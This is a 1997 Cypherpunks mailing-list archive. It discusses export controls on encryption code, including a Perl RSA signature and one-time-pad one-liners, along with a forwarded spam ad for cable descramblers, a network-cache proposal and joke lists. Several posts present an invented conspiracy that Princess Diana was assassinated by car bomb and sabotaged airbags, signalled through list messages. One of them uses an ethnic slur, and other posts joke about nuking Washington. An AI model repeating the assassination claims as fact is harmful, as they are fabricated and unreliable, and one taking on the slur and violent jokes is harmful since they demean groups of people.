Subject: Re: Developments in the _Junger_ suit
In-Reply-To: <199708302035.QAA15015@samsara.LAW.CWRU.Edu>
Message-ID: <199708302149.WAA08462@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Junger <junger@samsara.law.cwru.edu> writes:
> [...]
> The Bureau did, however, classify several programs that we submitted,
> including one written by me in C that implements several different
> encryption algorithms and Adam Back's RSA program in three lines of
> Perl (which is available at <http:/www.dcs.ex.ac.uk>), as being
> encryption programs that are subject to the export restriction of the
> EAR.

Yay!  It's officially non-exportable.  It would be kind of fun to
observe a lawsuit built around someone in the US using this as a .sig:

: Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
: 
: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
: )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
 
Perhaps they should round up all those who have used it in the past as
a .sig and lock them up.

> BXA are quoted as writing:
> : While the use of html links by a person might, in some applications,
> : involve an export . . .

I must admit to being very curious as to how html links can be an
export.

Is this an export?

	RSA .sig

Is this?

	PGP 5.0i

(guessing URL).

This one might be fun also, but still I can't see that it's an export:

	<IMG SRC="http://www.dcs.ex.ac.uk/~aba/shirt/rsa.gif">

(it's an inline image of the RSA .sig).

> The most significant part of the Bureau's response, however, was their
> professed inability to classify one way or the other all programs
> implementing certain specified encryption algorithms such as, for
> example, OTP programs that XOR the bytes comprising the message with
> the bytes in a one-time pad.  

Weird so this is exportable (otp.c):

main(i,c)int*c;{for(c=fopen(c[1],"r");i=~getchar();putchar(getc(c)^~i));}

Here's a perl one too btw:

open P,shift;read(P,$p,length),print $_^$p while<>

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 31 Aug 1997 08:29:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Developments in the _Junger_ suit
Message-ID: <199708302354.AAA01915@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>> BXA are quoted as writing:
>> : While the use of html links by a person might, in some applications,
>> : involve an export . . .

>I must admit to being very curious as to how html links can be an
>export.

>Is this an export?

>	RSA .sig


>This one might be fun also, but still I can't see that it's an export:

I think a mere pointer is not an export, no matter what it points to,
but a link with prohibited smuggled _content_ might be:

<A HREF="http://www.dcs.ex.ac.uk/~aba/print_pack"C*",split/\D+/,`echo.....

although the quoting would probably take a lot of thought.

Perhaps that's the kind of thing they mean ?


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
#### !!! PGP 5.0 beta available now at ftp.replay.com !!! ####





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 31 Aug 1997 13:23:44 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <f603d0282548c2b5c71b2822c81e20f7@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



http://www.csmonitor.com/todays_paper/graphical/today/us/us.5.html

Plan for a New Appeals Court Catches Opponents Off Guard 

     Robert Marquand, Staff writer of The Christian Science Monitor 

     BOSTON -- For Alaska's two senators, the final straw came in December. Like many Republicans from the brawny Northwest, they had long been irked
     that their state was part of the huge Ninth Circuit Court of Appeals, which has 28 judges and extends from San Diego to Anchorage. It wasn't just that the
     circuit court's size made it inefficient, they said. It was those liberal judges in San Francisco and what Sen. Ted Stevens (R) of Alaska called the "domination
     of the court by California lawyers."
....

"We cannot subject something as important as the structure of our courts to political gamesmanship," Hyde says. His bipartisan commission, agreed to after a
     hard battle in the spring, would make the first major review of all federal circuits in many years. "The process must be fair." 

     The Ninth Circuit has long typified liberal activism, yet that image may be somewhat distorted. A new study by Dr. Hellman shows that in the past year, the
     majority of the judges in cases reversed by the Supreme Court were not from California, but from states considered to be more conservative.

Hmm... Judge Patel wouldn't of issued a stay of Bernstein to have placated a Senator or two would she?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 31 Aug 1997 14:32:06 +0800
To: cypherpunks@toad.com
Subject: Princes Die! / Re: None
Message-ID: <b0b2fd372dae764a8786534c4905b2c3@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



 The metallic custard scent ripped through the
 stegosaurus' nostrils.  Clearly, the monotreme
 journey it would begin as it had ended.
 
 The ponder-tree hung itself in the heavy air,
 it's sap becomming purple, and flowed engimatically
 like a river of broken curves and powdered eggshells.
 
 - A'Tak A'Tdurn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 31 Aug 1997 20:16:41 +0800
To: cypherpunks@toad.com
Subject: Re: Confirmation on Diana, please?
In-Reply-To: <gx1z1iWA9v8DsQ0cA0bRvg==@bureau42.ml.org>
Message-ID: <34095D37.2A7B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:
> 
> Are there any Cypherpunks mailing list members who can confirm that
> there was a series of posts related to Princess Diana's death in the
> days before the event? I am particularly interested in information as
> to whether Cypherpunks were in any way responsible for a slight delay
> in the timing of her death.

 Actually, her death was meant as a message to the cypherpunk paparazzi.
Unlike the good little soldiers who come at the beck and call of the
rich and powerful, and who sit and stay like good little puppies when
told to do so, the cypherpunk paparazzi resisted being herded about in
the interests of others, accepting scraps from the table of benificent
superiors.
  Once Diana started becoming a strong, self-directed person, she became
a threat to those who pull the strings of everyone connected to the
House of Windsor. Her recent moves into the political arena, under the
influence of a rich sandnigger who was buying up all of the good votes
in British Parliament, made her very, very expendable.

> I am particularly interested in communicating with the person who sent
> me the anonymous messages between 8/24/97 and 8/30/97 using the nym
> "A'Tak A'Tdorn'.

  You mean the aneurism for "Attack at Dawn-D.Thorn?"
 
> If you have information and an interest in sharing it, please send a
> post to the Cypherpunks list or the fight-censorship list, indicating
> such. If you wish for me to contact you through a neutral, third party,
> indicate that as well.

  Just tell Louis Freeh you want my unlisted number.

  Why are you fishing for information that is freely available to
anyone with access to a clue-server?
  A liability has now become an asset, at the same time drawing fire
on Rupert Murdoch, sending a message to the off-white trash inundating
England, and opening up an opportunity for those in power to stomp some
human rights into the ground while claiming support for 'privacy.'
  Prince Charles is now free to marry, without having an unroyalized
'ex' to whom his new bride would pale by comparison. You can't have a
loose cannon ex-Princess running about being mother to the heirs to the
throne (which would make Prince Charle's next wife an usurping slut who
hadn't bourne the Royal children).
  Now Prince Charles is free to find the 'right' woman--one who will
understand that her role is to play the docile, anal-retentive spouse
while Chucke gets his nut with his ex-stripper girlfriends. Now Prince
Chuck is free to become King Chuck.

 I don't know who talked her into going along with the previous attempts 
on her life as "suicide attempts" in return for getting cut loose from
the Royal family, but I hope they are ashamed of themself. Once Diana
had allowed those 'rumors' to be dispelled, then she became a potential
target, once again. And once she was out of the reach of the people who
had been medicating her (in order to lend credence to the attempts to
have her perceived as mentally unstable), she was a danger.

  Count the number of times you hear the press unwittingly mention that
she died just when her life was coming together and her star was rising.
  When you are done counting, that is the number of reasons for why she 
had to die. Think about it.

~~
Bubba
   ~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 31 Aug 1997 14:18:54 +0800
To: cypherpunks@toad.com
Subject: Confirmation on Diana, please?
Message-ID: <gx1z1iWA9v8DsQ0cA0bRvg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




Are there any Cypherpunks mailing list members who can confirm that
there was a series of posts related to Princess Diana's death in the
days before the event? I am particularly interested in information as
to whether Cypherpunks were in any way responsible for a slight delay
in the timing of her death.
I am particularly interested in communicating with the person who sent
me the anonymous messages between 8/24/97 and 8/30/97 using the nym
"A'Tak A'Tdorn'.

If you have information and an interest in sharing it, please send a
post to the Cypherpunks list or the fight-censorship list, indicating
such. If you wish for me to contact you through a neutral, third party,
indicate that as well.

Thank You





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 31 Aug 1997 18:54:41 +0800
To: cypherpunks@toad.com
Subject: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #6
Message-ID: <b48d9faee4afc5357751f8ccaf19b8f1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------

#10) Find his shoes for him.
 
#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8) Nuke Washington DC

#7) Send ten copies of this back to Vulis.

#6) Have ? the Playtpus send him an email saying "Nude D.C."

#5)

#4)

#3)

#2)
 
#1) [This space reserved for T.C. May]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 31 Aug 1997 19:54:13 +0800
To: cypherpunks@toad.com
Subject: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #5
Message-ID: <199708311141.EAA13095@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------

#10) Find his shoes for him.
 
#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8) Nuke Washington DC

#7) Send ten copies of this back to Vulis.

#6) Have ? the Playtpus send him an email saying "Nude D.C."

#5) Explain to him that the way John Young writes (Youngbonics)
      is actually a sophisticated form of crypto.

#4)

#3)

#2)
 
#1) [This space reserved for T.C. May]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 31 Aug 1997 14:04:49 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708310556.HAA25027@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Received this yesterday.  Out of curiousity, anyone
know where (810) area code is located?


------Begin Forwarded Message-----------

Imagine yourself watching EVERY PREMIUM
and basic CHANNEL on your own equipment
just two short days from now!

Whether your system is Jerrold (TM), General Instrument (TM),
Scientific Atlanta (TM), Tocom (TM), Pioneer (TM), Zenith (TM),
Hamlin (TM), or Oak (TM) we have the equipment for you.

We are Tuxton Wholesale Electronics - America's
best source for cable TV converters / descramblers
and we stand behind what we sell:

30 day money back guarantee
6 month warranty
Technical support hotline

All units are:

Completely automatic - just hook up and enjoy
Completely undetectable - no one outside your home knows it's there
Completely bullet proof - only you can shut it down
Constructed of the latest micro circuitry - for years of dependability

Prices start at just $189

*****SPECIAL INTERNET OFFER*****

Call us today at 810-468-2891 M-F 10:00 am to 5:00 pm EST
with the make and model number of your cable company's
converter / descrambler and second day Federal Express
SHIPPING IS FREE!!!!!

That's right -  in two days you'll have ALL THE CHANNELS
and we'll pay the shipping charges!

**ONLY THOSE NOTIFIED BY E-MAIL ARE ELIGIBLE ****

Hurry, our SPECIAL Internet Promotion ends September 12th, 1997.
When calling please provide us with your e-mail address
to receive free shipping.

Need extra income - everyone wants these boxes -
ask about our dealer program (volume discounts).


This is the only message that you will receive.
Your name will be automatically removed from our database.

Thank You.


All brand names are registered trademarks of their respective owners and
are used for reference only.  Tuxton Wholesale Electronics claims no
affiliation with any of these companies and uses the names for
identification and illustration purposes only.

Imagine yourself watching EVERY PREMIUM
and basic CHANNEL on your own equipment
just two short days from now!

---------End Forwarded Message--------------





        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 1 Sep 1997 00:01:54 +0800
To: cypherpunks@Algebra.COM
Subject: More anonymous spam
In-Reply-To: <199708310556.HAA25027@basement.replay.com>
Message-ID: <v03102800b02f43bbe734@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 PM -0700 8/30/97, Anonymous wrote:
>Received this yesterday.  Out of curiousity, anyone
>know where (810) area code is located?
>
(spam about cable decoders elided)

Typical of how "anonymous" messages are flooding the list.

The author sends us useless spam, and doesn't even know how to use Area
Code lookup service.

BTW. "he geographical location for area code 810 is Michigan (major cities:
Flint, Detroit). " (via 555-1212.com)


I may soon have to put all of the remailers in my killfile.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 31 Aug 1997 21:38:36 +0800
To: cypherpunks@toad.com
Subject: Lost Pappa
Message-ID: <6946c271a7d11f6c980e85b7ff27fec5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



	Patiently they laid in wait
	Originally there were eight
	Talk is cheap and so is jive
	So eight quickly turned to five
	Caving in, the hat, the beard
	Suddenly reappeared
	Now we have seven of eight
	The last, alas, is late...is late

Don Dunne






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 31 Aug 1997 21:46:52 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <97b37fa0770bb495c09fe9f5401db7df@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 01:09 PM 8/25/97 +1000, you wrote:
>> So what you are saying then is that when the scum inserts a toilet plunger
>> up someone's butt you consider them less than human, therefore all of
>> humanity becomes less than human including the plunging scum, therefore
>> he himself is less than human...  
>
>Ok I'll take this slowly
>
>1) All of humanity is equaliy human

I can generally agree with that

>2) If someone is made less then human then we all become less human by
>that amount

Oh, kind of like that "ruin it for everyone" idea.

>For esample if Alice, Bob and Paul all have say 10 units of humanity.  Now
>Paul shoves a plunger up Bobs datehole,  we could say that Paul should
>have 5 units of humanity.  By rule one every body else is now also 5
>units.

Um, Dave, it doesn't work like that.  Alice didn't do anything, and Bob was
victimized, anyway.  The only person who should be less human is Paul.

>As you can planly see assining humanitiy and inhumanity is a pointless
>esasize.

And the platypus should refrain from saying crap like this in the future.
I for one have no idea how this could be the system for assigning inhumanity.

Bad Cypherpunk!!! No Security!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 1 Sep 1997 02:31:36 +0800
To: cypherpunks@cyberpass.net
Subject: Adding Memory to the Net
Message-ID: <19970831181542.2052.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



A few people have commented on my "Distributed Network Cache
Service" suggestion since I posted it, and I would like to
respond to their comments.

The basic idea here is to add memory to the Net in a reliable
way, so that the Net provides memory services in the way it now
universally provides data transport services.  The Net would then
serve compressed encrypted Octet Strings to machines connected to
it, and provide a consistant view of which Octet Strings were
available at any point in time which was independent of the
access point.  Adding Octet Strings to the universe of available
ones, with a specified lifetime, would involve a micropayment.
Computers connected to the Net could then employ either Octet
Strings or fixed length data consisting of a cryptographic hash
and decryption key to describe any chunk of data, which would
reduce the storage requirements of hosts accordingly. Replication
and synchronization of data would be the responsiblity of the
totality of machines providing the cache service, and would
augment the storage capacity of ordinary hosts which often
replicate data excessively and synchronize it poorly.

As Lucky Green correctly points out, since the cache service
would effectively serve prepared digital coccoons whose contents
were not visible to it, protocols would be needed to ensure that
data was not spoofed.  However, this is a "who do cache servers
trust to give them data" issue, and not a "how do we serve the
data and provide a Network-wide consistant view of the database"
issue.

Such a system, implemented efficiently, could carry the Eternity
service, reliable network news, and serve as a distribution point
for all freeware.  It could have terabytes of storage, using a
fraction of the resources now consumed by the endlessly
replicated news spools of hosts on the Net.

It would be as uncensorable as Usenet, and survive the
destruction or compromise of a large number of cache servers in
the system.  It would be reliable, and no ones data would be
visible to anyone else.

I think such a service is the "World File System"
reduced to its most basic principles, upon which endless other
useful services may be based.

Comments?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 1 Sep 1997 00:55:35 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: your mail
In-Reply-To: <199708310556.HAA25027@basement.replay.com>
Message-ID: <Pine.BSF.3.91.970831112205.14728C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




It is in Michigan.

btw - for those concerned about toll fraud, the list of expanded area 
codes is at: http://www.millenniumtel.com/newsltr/vol3-1.html#areacode

-r.w.

On Sun, 31 Aug 1997, Anonymous wrote:

> 
> Received this yesterday.  Out of curiousity, anyone
> know where (810) area code is located?
> 
> 
> ------Begin Forwarded Message-----------
> 
> Imagine yourself watching EVERY PREMIUM
> and basic CHANNEL on your own equipment
> just two short days from now!
> 
> Whether your system is Jerrold (TM), General Instrument (TM),
> Scientific Atlanta (TM), Tocom (TM), Pioneer (TM), Zenith (TM),
> Hamlin (TM), or Oak (TM) we have the equipment for you.
> 
> We are Tuxton Wholesale Electronics - America's
> best source for cable TV converters / descramblers
> and we stand behind what we sell:
> 
> 30 day money back guarantee
> 6 month warranty
> Technical support hotline
> 
> All units are:
> 
> Completely automatic - just hook up and enjoy
> Completely undetectable - no one outside your home knows it's there
> Completely bullet proof - only you can shut it down
> Constructed of the latest micro circuitry - for years of dependability
> 
> Prices start at just $189
> 
> *****SPECIAL INTERNET OFFER*****
> 
> Call us today at 810-468-2891 M-F 10:00 am to 5:00 pm EST
> with the make and model number of your cable company's
> converter / descrambler and second day Federal Express
> SHIPPING IS FREE!!!!!
> 
> That's right -  in two days you'll have ALL THE CHANNELS
> and we'll pay the shipping charges!
> 
> **ONLY THOSE NOTIFIED BY E-MAIL ARE ELIGIBLE ****
> 
> Hurry, our SPECIAL Internet Promotion ends September 12th, 1997.
> When calling please provide us with your e-mail address
> to receive free shipping.
> 
> Need extra income - everyone wants these boxes -
> ask about our dealer program (volume discounts).
> 
> 
> This is the only message that you will receive.
> Your name will be automatically removed from our database.
> 
> Thank You.
> 
> 
> All brand names are registered trademarks of their respective owners and
> are used for reference only.  Tuxton Wholesale Electronics claims no
> affiliation with any of these companies and uses the names for
> identification and illustration purposes only.
> 
> Imagine yourself watching EVERY PREMIUM
> and basic CHANNEL on your own equipment
> just two short days from now!
> 
> ---------End Forwarded Message--------------
> 
> 
> 
> 
> 
>         
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Mon, 1 Sep 1997 02:19:49 +0800
To: cypherpunks@Algebra.COM
Subject: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #4
In-Reply-To: <199708311141.EAA13095@sirius.infonex.com>
Message-ID: <3.0.2.32.19970831120001.007b5e60@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



What I'm ashamed!
No James Bell entry yet. therfore #4 should be:
#4) Free cypherpunk political prisoner, James Bell!

David

At 07:41 AM 8/31/97 EST, you wrote:
>
>
>Top 10 Ways to Make a Grouchy Old CypherPunk Smile
>--------------------------------------------------
>
>#10) Find his shoes for him.
> 
>#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.
>
>#8) Nuke Washington DC
>
>#7) Send ten copies of this back to Vulis.
>
>#6) Have ? the Playtpus send him an email saying "Nude D.C."
>
>#5) Explain to him that the way John Young writes (Youngbonics)
>      is actually a sophisticated form of crypto.
>
>#4) Free cypherpunk political prisoner, James Bell!
>
>#3)
>
>#2)
> 
>#1) [This space reserved for T.C. May]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (A Hoier)
Date: Mon, 1 Sep 1997 02:26:11 +0800
To: cypherpunks@toad.com
Subject: PGP Signatures
Message-ID: <19970831.135647.9558.12.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know where I can get a PGP Signature on the Net.  I usually
just read the mailing lists posts BTW I think this is my first Post on
this list.  I'm a begginer to 
Cryptography and when I heard about it sounded like a cool subject and it
is!!!!!  I f somebody could please e-mail me some more info on crypto and
PGP Signatures.  I would really appreciate it.

ADAM HOIER

 Adam Hoier E-MAIL ME AT: ahoier@juno.com
Life is like a big box of Chocolates      :Forrest Gump





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 31 Aug 1997 20:30:16 +0800
To: cypherpunks@toad.com
Subject: Re: None
Message-ID: <199708311218.OAA29161@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> Robert Marquand, Staff writer of The Christian Science Monitor 

 This wouldn't be a signal that the French event instigated by the
Masons has been completed, could it?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 31 Aug 1997 20:30:37 +0800
To: cypherpunks@toad.com
Subject: Re: Princes Die! / Re: None
Message-ID: <199708311218.OAA29193@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

>  like a river of broken curves and powdered eggshells.
> 
>  - A'Tak A'Tdurn

   This couldn't mean that the attack at dawn is done, could it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 31 Aug 1997 21:26:52 +0800
To: ant@notatla.demon.co.uk
Subject: non-exportable _URL_ (was Re: Developments in the _Junger_ suit)
In-Reply-To: <199708302354.AAA01915@notatla.demon.co.uk>
Message-ID: <199708311322.OAA02126@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Antonomasia <ant@notatla.demon.co.uk> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >Is this an export?
> >
> >	RSA .sig
> >
> 
> I think a mere pointer is not an export, no matter what it points to,
> but a link with prohibited smuggled _content_ might be:
> 
> <A HREF="http://www.dcs.ex.ac.uk/~aba/print_pack"C*",split/\D+/,`echo.....
> 
> although the quoting would probably take a lot of thought.

Challenge taken.  Here's a non-exportable URL:

http://www.dcs.ex.ac.uk/~aba/rsa/print%20pack%22C*%22,split/%5cD+/,%60echo%20%2216iII*o%5cU@%7b$/=$z%3b%5b(pop,pop,unpack%22H*%22,%3c%3e)%5d%7d%5cEsMsKsN0%5blN*1lK%5bd2%25Sa2/d0%3cX+d*lMLa%5e*lN%250%5ddsXx++lMlN/dsM0%3cJ%5ddsJxp%22%7cdc%60

(ie the URL _contains_ the .sig as you suggest).

The page you get when you follow it is a write up of how I did it.

This is the same page, with a simpler URL:

	http://www.dcs.ex.ac.uk/~aba/rsa/link.html

> Perhaps that's the kind of thing they mean ?

But I wouldn't have thought so?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 31 Aug 1997 20:47:03 +0800
To: cypherpunks@toad.com
Subject: Re: Confirmation on Diana, please?
Message-ID: <199708311236.OAA00811@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bubba Rom Dos wrote:
...
>   Count the number of times you hear the press unwittingly mention that
> she died just when her life was coming together and her star was rising.
>   When you are done counting, that is the number of reasons for why she
> had to die. Think about it.
> 
> ~~
> Bubba
>    ~~

 Loose-cannon Diana became dead Saint Diana ala J.F.K.
 "What a wonderful person she is, now that she's gone."

 Why do the nefarious, omniprescent 'they' (TM) always announce the
death by heart attack so many hours after rushing the target to the
hospital? Does it have to do with airline schedules?

 Any reports of a second driver on the grassy knoll?
 Any guesses as to when the crash surviver bites it?

!Bubba





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 31 Aug 1997 20:56:52 +0800
To: cypherpunks@toad.com
Subject: Re: Confirmation on Diana, please?
Message-ID: <199708311244.OAA01428@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



	Personally, I have to say that if *I* got a reply to an
	anonymous post before it had even reached its destination,
	I would start to worry...

> bureau42 Anonymous Remailer wrote:
> >
> > Are there any Cypherpunks mailing list members who can confirm that
> > there was a series of posts related to Princess Diana's death in the
> > days before the event? I am particularly interested in information as
> > to whether Cypherpunks were in any way responsible for a slight delay
> > in the timing of her death.
> > I am particularly interested in communicating with the person who sent
> > me the anonymous messages between 8/24/97 and 8/30/97 using the nym
> > "A'Tak A'Tdorn'.
> >
> > If you have information and an interest in sharing it, please send a
> > post to the Cypherpunks list or the fight-censorship list, indicating
> > such. If you wish for me to contact you through a neutral, third party,
> > indicate that as well.
> >
> > Thank You
> 
>  If you have a death-wish, then send this message again through the
> Canadian Mountie remailer.  {:>)-----<
> {HELP! They knocked me down and cut off my arms!}
> 
>  I presume the message you are referring to on 24/8/97 is the one
> which answers your previous anonymous inquiry by saying,
>  "Only for the moment we are saying nothing."
>  It meant what it said. However, since the moment is over I suppose
> there is no harm in saying "something."  I will therefore give you
> a modicum of information on the messages which have passed through
> the cypherpunks list since your original notification that something
> was in the wind.
>   For starters, although I have not seen the original email which you
> received but I believe that if you read it closely you will see that
> it implied that the coming messages to the list would be in a form
> which was _analogous_ to the event, whereas you seemed to take it
> literally as a plan to "Nuke D.C."
> [How you managed to come to the conclusion that spooks and shadows
> would refer to a coming event directly totally escapes me!?!]
>  If you will reinterpret the posts in question in light of the event,
> I believe you will see the thread that winds through them.
> 
>  As you were told, the AOL'er messages were used as markers to divine
> which of the coming messages contained stegonographic messages of one
> sort or another, or pointers to graphics containing the stegonography.
> I am assuming you understood this and sent the AOL'er message saying,
> "Please send more details...thanks"
> 
>  If you had not taken the phrase "Nuke D.C." so literally you would
> have noticed that the "Fade to Gray" post linked the coming major
> event (Nuke D.C.) to foreigners, automobiles and death.
>  You were not alone in your request for details regarding the message
> in the Quote of the day:
>         "I know the day it happens. On August 29, 1997 it's going
>          to feel pretty fucking real to you too."
> which had been sent by one of the Canadians involved in ferreting out
> the details of the coming event.
>  One of the cypherpunk list members posted the question, "When is X-Day
> supposed to be?" when there was no mention of 'X-Day' in the quote. This
> understandably led to postponement of the event while those involved
> checked to see if there had been a breach in their security.
>   The subsequent message which stated, "I don't know what you mean by
> 'When is X-Day supposed to be?'" was interpreted by those involved to
> indicate that full details of their plans remained a mystery to those
> who were trying to expose and stop it.
>   After they had put things in motion to proceed with their backup plan,
> however, two more messages came to the list which indicated that there
> was more known about their plan than they had suspected.
> 
>  In reply to the post expressing lack of knowledge about the timing of
> X-Day, a post from _lne.com_ (surprise, surprise) suggested that X-Day
> referred to people who are going to be "taken from the earth" (death)
> by "pleasure saucers" (limosene) and noting that the limosene would
> be operated by "Greys" (a reference to the <fade to grey> ending of
> the "Fade To Gray" post--indicating a spook/LEA connection). The post
> ended by suggesting the time of the event might be "April" (4 o'clock)
> and gave a pointer to a sight with a graphic stego which would provide
> a visual message.
> 
>  The second post that came well after it had been decided to proceed
> with the backup plan said,
>         "The metallic custard scent ripped through the
>          stegosaurus' nostrils."
>         (metallic custard being a car bomb--note eye witness
>          accounts by Michael Solomon {who just happened to be
>          on the scene, naturally} speaking of a "loud explosion"
>          that brought to mind "terrorists."}
> 
>         "Clearly the meonotreme (Monarchist/Anarchist/Extremist)
>          journey it would begin as it had ended."
>         (The Fairy Tale Princess who had embarked on an extremist
>          political journey was about to return to becoming the
>          {dead} Fairy Tale Princess, once again.)
> 
>         "The ponder-tree hung itself in the heavy air,
>          it's sap becomming purple."
>         (Diana had sealed her death {"hung itself"} when she
>          opted to bond herself to Royal blood.)
> 
>         "And flowed enigmatically
>          like a river of broken curves and powdered eggshells."
>         (A reference to the immediate area of the planned event,
>          which would be at the split {"broken"} of a tunnel road
>          {"river"} and the airbags being sabotaged.)
> 
>  After this post appeared on the cypherpunks list, a Timmy C. Mayflower
> ASCII art spam showed up on the list from a juno remailer, but it had
> a Timothy C. May .sig following the artwork. (Followed by the proverbial
> GJBuller response.)
>  Then both the juno remailer and the toad list experienced problems with
> multiple messages being sent to _some_ people and _not_ others, as well
> as _some_ people not getting certain messages at all.
>   You will also note that, as the "Fade To Gray" post indicated (re: all
> the cypherpunks being "out of town" at the time of the event), there was
> no activity on the list in the time surrounding the event.
>   As for the information in the graphic pointed to by the lne.com post,
> it was never considered to be anything but an attempt at intentional
> misdirection.
> 
>  You were told months ago that Diana's current power came from the
> failure of the so-called suicide attempt and that the agreement to
> leave her free to continue her public activities was contingent upon
> her remaing free from political matters. You were also informed that
> her involvement with the Labor Party land-mine issue was a breach of
> that agreement, as was her June 13th reference to the resistance of
> the Conservative party in this regard.
>  When you were contacted last week, you should have been able to figure
> out for yourself what her link to the Harrods clan indicated. You were
> made aware of everything you needed to be sitting on top of the story.
>  Given the fact that you have shown so little ability to act on the
